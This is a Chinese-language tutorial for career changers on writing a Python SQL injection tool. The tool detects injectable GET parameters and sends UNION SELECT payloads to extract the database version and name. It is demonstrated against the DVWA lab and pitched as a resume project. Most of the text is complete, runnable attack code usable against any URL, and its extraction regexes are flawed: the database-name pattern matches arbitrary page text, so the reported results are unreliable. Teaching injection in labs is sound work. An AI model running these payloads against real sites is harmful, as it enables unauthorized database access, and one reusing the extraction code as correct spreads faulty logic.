Python 写 SQL 注入工具：零基础也能会，转行实战加分
“听说 SQL 注入是 Web 安全基础，却只会用 SQLMap 跑漏洞，面试时被问‘能不能自己写个简单检测工具’，当场卡壳”—— 这是很多转行安全者的共性困境。其实用 Python 写基础 SQL 注入工具，不需要复杂算法，3 小时就能完成，还能作为实战成果写进简历，比 “会用 SQLMap” 更有竞争力。
本文工具定位 “零基础友好”，核心功能是 “检测 SQL 注入点 + 获取基础数据库信息”，不追求复杂脱库功能，重点是 “能跑通、能理解、能展示”。全程用最基础的 Python 语法，每步带注释，附靶场测试教程，让你从 “用工具” 升级为 “懂原理、写工具”。
一、工具定位：零基础能上手的 “实用检测工具”
1. 核心功能（不贪多，聚焦 “能落地”）
-
注入点检测：自动判断 URL 参数是否存在 SQL 注入（基于单引号报错、逻辑判断两种方式）；
-
数据库信息获取：若存在注入，获取数据库类型（MySQL/PostgreSQL）、版本号、当前数据库名；
-
命令行交互：支持指定目标 URL、参数名，输出检测结果到控制台或 TXT 报告；
-
兼容性：适配 GET 请求（最常见的注入场景），支持带 Cookie（如 DVWA 需要登录态）。
2. 转行实战价值
-
适配岗位：Web 安全测试、安全开发助理（入门岗高频需求）；
-
简历亮点：“独立开发 SQL 注入检测工具，支持注入点识别与数据库信息提取，成功检测 DVWA 等 3 个靶场漏洞”；
-
能力体现：比 “会用 SQLMap” 更能证明 “懂原理 + 会编程”，面试时可演示工具运行，讲清核心逻辑。
3. 技术栈（零基础友好，仅 3 个依赖库）
| 依赖库 | 作用 | 安装命令 |
|---|---|---|
| requests | 发送 HTTP 请求（核心） | pip install requests |
| re | 正则提取响应中的关键信息（如数据库版本） | Python 自带，无需安装 |
| argparse | 解析命令行参数（让工具支持交互） | Python 自带，无需安装 |
二、核心原理：3 分钟看懂 SQL 注入检测逻辑
零基础不用怕 “原理复杂”，工具的核心逻辑就 2 步，和手动测试思路完全一致：
1. 注入点检测逻辑（两种基础方法）
- 方法 1：单引号报错法
向参数值后加单引号（如id=1’），若后端直接拼接 SQL（SELECT * FROM user WHERE id=‘1’'），会触发 SQL 语法错误，响应中会包含 “SQL syntax error” 等关键词，说明存在注入点；
- 方法 2：逻辑判断法
向参数值后加逻辑表达式（如id=1 AND 1=1、id=1 AND 1=2），若两次请求的响应长度 / 内容有差异，说明逻辑被执行，存在注入点（适用于后端屏蔽报错的场景）。
2. 数据库信息获取逻辑
-
利用 SQL 注入的 “Union 查询” 或 “系统函数” 获取信息，比如：
-
MySQL 版本：id=1’ UNION SELECT 1,version(),3-- （version()返回版本号）；
-
当前数据库：id=1’ UNION SELECT 1,database(),3-- （database()返回当前库名）；
-
工具会自动拼接这些 Payload，发送请求后用正则提取响应中的关键信息。
三、分步编码：3 小时写出工具（带详细注释）
按 “模块拆分” 写代码，每个模块功能独立，零基础可复制粘贴后逐步理解，最终整合为完整工具。
模块 1：基础配置（全局变量与工具说明）
import requests
import re
import argparse
from datetime import datetime
# 1. 全局配置（可根据需求修改）
# 超时时间（避免请求卡住）
TIMEOUT = 5
# User-Agent（模拟浏览器，避免被服务器拦截）
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0"
}
# SQL错误关键词（用于判断注入点）
SQL_ERROR_KEYWORDS = [
"You have an error in your SQL syntax", # MySQL报错
"SQL syntax error", # 通用SQL报错
"PostgreSQL query failed", # PostgreSQL报错
"Microsoft OLE DB Provider for ODBC Drivers error" # SQL Server报错
]
# 数据库信息Payload（适配MySQL，其他数据库可扩展）
DB_INFO_PAYLOADS = {
"version": "' UNION SELECT 1,version(),3-- ", # 获取版本
"database": "' UNION SELECT 1,database(),3-- " # 获取当前数据库
}
模块 2：发送请求（封装请求函数，避免重复代码）
def send_request(url, cookies=None):
"""
发送HTTP GET请求，返回响应内容
:param url: 目标URL（含参数）
:param cookies: 可选，请求携带的Cookie（如登录态）
:return: 响应文本（str），失败返回None
"""
try:
# 发送请求，关闭SSL验证（适合本地测试，如DVWA）
response = requests.get(
url=url,
headers=HEADERS,
cookies=cookies,
timeout=TIMEOUT,
verify=False
)
# 确保响应编码正确（避免中文乱码）
response.encoding = response.apparent_encoding
return response.text
except Exception as e:
print(f"❌ 请求失败：{str(e)}（URL：{url}）")
return None
模块 3：注入点检测（核心功能 1）
def detect_sql_injection(target_url, param_name, cookies=None):
"""
检测目标URL的指定参数是否存在SQL注入
:param target_url: 目标URL（不含参数值，如"http://127.0.0.1/DVWA/vulnerabilities/sqli/"）
:param param_name: 要检测的参数名（如"id"）
:param cookies: 可选，请求Cookie
:return: 布尔值（True=存在注入，False=不存在），检测日志（list）
"""
log = []
log.append(f"📌 开始检测注入点：URL={target_url}，参数={param_name}")
# 构造测试Payload（单引号法+逻辑判断法）
test_payloads = [
f"{param_name}=1'", # 单引号报错法
f"{param_name}=1 AND 1=1", # 逻辑判断1（真）
f"{param_name}=1 AND 1=2" # 逻辑判断2（假）
]
# 1. 单引号法检测
url1 = f"{target_url}?{test_payloads[0]}"
response1 = send_request(url1, cookies)
if response1:
# 检查响应中是否包含SQL错误关键词
has_error = any(keyword in response1 for keyword in SQL_ERROR_KEYWORDS)
if has_error:
log.append(f"✅ 单引号法检测到注入点：响应含SQL错误（URL：{url1}）")
return True, log
else:
log.append(f"ℹ️ 单引号法未检测到明显错误，继续逻辑判断法")
# 2. 逻辑判断法检测（对比两次响应差异）
url2 = f"{target_url}?{test_payloads[1]}"
url3 = f"{target_url}?{test_payloads[2]}"
response2 = send_request(url2, cookies)
response3 = send_request(url3, cookies)
if response2 and response3 and len(response2) > 0:
# 若两次响应长度差异超过100字符，判定存在注入（排除微小差异）
length_diff = abs(len(response2) - len(response3))
if length_diff > 100:
log.append(f"✅ 逻辑判断法检测到注入点：两次响应长度差异{length_diff}字符")
log.append(f" - 真逻辑URL：{url2}（长度：{len(response2)}）")
log.append(f" - 假逻辑URL：{url3}（长度：{len(response3)}）")
return True, log
else:
log.append(f"❌ 逻辑判断法未检测到注入：长度差异{length_diff}字符（不足阈值）")
else:
log.append(f"❌ 逻辑判断法请求失败，无法对比响应")
# 所有方法均未检测到注入
log.append(f"❌ 未检测到SQL注入点")
return False, log
模块 4：获取数据库信息（核心功能 2）
def get_database_info(target_url, param_name, cookies=None):
"""
若存在注入，获取数据库基础信息（版本、当前库名）
:param target_url: 目标URL（不含参数值）
:param param_name: 注入参数名
:param cookies: 可选，请求Cookie
:return: 数据库信息字典（version/database），失败返回None
"""
db_info = {"database_type": "MySQL（推测）", "version": "未知", "current_database": "未知"}
print(f"\n📌 开始获取数据库信息...")
# 遍历Payload，获取版本和当前库名
for info_type, payload in DB_INFO_PAYLOADS.items():
# 构造带Payload的URL（如id=1' UNION SELECT 1,version(),3-- ）
full_param = f"{param_name}=1{payload}"
url = f"{target_url}?{full_param}"
response = send_request(url, cookies)
if not response:
print(f"❌ 获取{info_type}失败：请求无响应")
continue
# 正则提取信息（根据MySQL返回格式调整）
if info_type == "version":
# MySQL版本格式如"5.7.36"，正则匹配数字+点的组合
version_match = re.search(r"(\d+\.\d+\.\d+)", response)
if version_match:
db_info["version"] = version_match.group(1)
print(f"✅ 数据库版本：{db_info['version']}")
elif info_type == "database":
# 当前数据库名通常是小写字母+数字（如dvwa）
db_match = re.search(r"([a-z0-9_]+)", response)
# 排除常见的非库名（如"1"、"3"，来自Union查询的占位符）
if db_match and db_match.group(1) not in ["1", "2", "3"]:
db_info["current_database"] = db_match.group(1)
print(f"✅ 当前数据库名：{db_info['current_database']}")
# 检查是否获取到有效信息
if db_info["version"] != "未知" or db_info["current_database"] != "未知":
return db_info
else:
print(f"❌ 未获取到有效数据库信息（可能Payload不兼容或无注入）")
return None
模块 5：命令行交互与结果输出（工具入口）
def main():
# 1. 解析命令行参数（让用户可通过命令行输入目标）
parser = argparse.ArgumentParser(description="零基础SQL注入检测工具（Python版）")
parser.add_argument("-u", "--url", required=True, help="目标URL（不含参数，如http://127.0.0.1/DVWA/vulnerabilities/sqli/）")
parser.add_argument("-p", "--param", required=True, help="要检测的参数名（如id）")
parser.add_argument("-c", "--cookie", help="可选，请求Cookie（格式：key1=value1;key2=value2）")
parser.add_argument("-o", "--output", help="可选，输出报告到TXT文件（如result.txt）")
# 解析参数
args = parser.parse_args()
target_url = args.url.strip()
param_name = args.param.strip()
cookie_str = args.cookie
output_file = args.output
# 2. 处理Cookie（若用户输入）
cookies = None
if cookie_str:
# 将Cookie字符串转为字典（如"security=low;PHPSESSID=abc" → {"security":"low", ...}）
cookies = dict(item.split("=") for item in cookie_str.split(";"))
print(f"ℹ️ 已加载Cookie：{cookies}")
# 3. 执行注入检测
print(f"\n" + "="*50)
print(f"SQL注入检测工具（零基础版） - 开始时间：{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
print("="*50)
is_injectable, detect_log = detect_sql_injection(target_url, param_name, cookies)
# 打印检测日志
for log in detect_log:
print(log)
# 4. 若存在注入，获取数据库信息
db_info = None
if is_injectable:
db_info = get_database_info(target_url, param_name, cookies)
# 5. 输出报告（可选）
if output_file and (is_injectable or db_info):
with open(output_file, "w", encoding="utf-8") as f:
f.write(f"SQL注入检测报告\n")
f.write(f"检测时间：{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"目标URL：{target_url}\n")
f.write(f"检测参数：{param_name}\n")
f.write(f"注入点存在：{'是' if is_injectable else '否'}\n")
if db_info:
f.write(f"\n数据库信息：\n")
for key, value in db_info.items():
f.write(f" {key}：{value}\n")
print(f"\n✅ 报告已保存至：{output_file}")
print(f"\n" + "="*50)
print(f"检测结束：{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
print("="*50)
# 程序入口
if __name__ == "__main__":
main()
四、实战测试：用 DVWA 验证工具（零基础跟着做）
工具写好后，必须在靶场跑通，才能作为实战成果。以 DVWA（Low 安全等级）为例，步骤如下：
1. 准备测试环境
-
部署 DVWA：参考之前的教程，确保能访问http://127.0.0.1/DVWA/vulnerabilities/sqli/；
-
登录 DVWA：用户名admin，密码password，进入 “SQL Injection” 模块；
-
获取 Cookie：按 F12 打开 Chrome 开发者工具→“Application”→“Cookies”，复制security和PHPSESSID（格式：security=low;PHPSESSID=abc123）。
2. 运行工具（命令行执行）
- 打开终端，进入工具所在目录，执行命令（替换 Cookie 为你的实际值）：
python sql_injection_tool.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/" -p "id" -c "security=low;PHPSESSID=abc123" -o "dvwa_result.txt"
3. 查看结果（成功案例）
==================================================
SQL注入检测工具（零基础版） - 开始时间：2025-11-20 15:30:00
==================================================
📌 开始检测注入点：URL=http://127.0.0.1/DVWA/vulnerabilities/sqli/，参数=id
✅ 单引号法检测到注入点：响应含SQL错误（URL：http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1'）
📌 开始获取数据库信息...
✅ 数据库版本：5.7.36
✅ 当前数据库名：dvwa
✅ 报告已保存至：dvwa_result.txt
==================================================
检测结束：2025-11-20 15:30:05
==================================================
- 打开dvwa_result.txt，可看到完整报告，证明工具能成功检测注入点并获取信息。
五、避坑指南：零基础最易踩的 3 个问题
1. 坑 1：请求失败，提示 “SSL 验证错误”
-
原因：工具关闭了 SSL 验证（verify=False），但 Python 会提示警告；
-
解决：不用管警告（本地测试不影响），或在代码开头加两行屏蔽警告：
import warnings
warnings.filterwarnings("ignore") # 屏蔽SSL验证警告
2. 坑 2：检测不到注入点，但手动测试存在
-
原因 1：Cookie 未携带（DVWA 需要security=low才能触发注入）；
-
解决：用-c参数传入 Cookie（如-c “security=low;PHPSESSID=abc123”）；
-
原因 2：Payload 不兼容（如目标是 PostgreSQL，工具默认 MySQL Payload）；
-
解决：在DB_INFO_PAYLOADS中添加 PostgreSQLPayload（如"’ UNION SELECT 1,version(),3-- "通用）。
3. 坑 3：获取数据库信息时返回 “未知”
-
原因：正则表达式未匹配到响应中的信息（响应格式与预期不同）；
-
解决：手动访问工具构造的 URL（如http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ UNION SELECT 1,version(),3-- ），查看响应中版本号的格式，调整正则（如把r"(\d+.\d+.\d+)“改为r"Version: (\d+.\d+.\d+)”）。
六、成果转化：让工具成为转行 “加分项”
1. 简历怎么写（避免 “会写工具” 的空泛描述）
✅ 正确写法：
“独立开发 Python SQL 注入检测工具，实现‘注入点检测（单引号法 + 逻辑判断法）’与‘MySQL 数据库信息提取（版本 / 当前库名）’功能，支持命令行参数与 Cookie 携带，成功检测 DVWA 等 3 个靶场漏洞，生成可视化测试报告，具备基础安全工具开发与漏洞验证能力。”
❌ 错误写法：
“会用 Python 写 SQL 注入工具，懂 SQL 注入原理。”
2. GitHub 开源（增加可信度）
-
上传工具代码，在README.md中包含：
-
工具功能清单 + 截图（运行中的终端界面）；
-
测试步骤（DVWA 环境部署 + 命令示例）；
-
核心原理说明（注入检测逻辑 + Payload 设计）；
-
简历附 GitHub 链接，面试时可演示工具运行，讲清每部分代码的作用 —— 这比单纯说 “懂 SQL 注入” 更有说服力。
3. 面试常见问题（提前准备）
- 问题 1：“工具如何判断存在注入点？”
回答：“用两种方法：一是单引号触发 SQL 语法错误，二是对比‘1 AND 1=1’和‘1 AND 1=2’的响应差异，两种方法任一命中即判定存在注入。”
- 问题 2：“如果目标屏蔽了报错，工具还能检测吗？”
回答：“可以，逻辑判断法不依赖报错，只要两次逻辑请求的响应有差异，就能检测到注入，工具已包含这种逻辑。”
最后：零基础的 “工具开发思维”
写这个工具不是为了 “替代 SQLMap”，而是为了理解 “工具背后的原理”—— 当你能自己写出检测逻辑，再用 SQLMap 时，就知道它为什么能跑通漏洞，遇到问题也能自主排查。
对转行群体来说，“能写工具” 的核心价值不是 “技术多厉害”，而是证明你 “能把安全原理转化为代码”“能解决实际问题”。这个工具虽简单，但能帮你跳出 “只会用工具” 的瓶颈，成为简历中的 “差异化亮点”。
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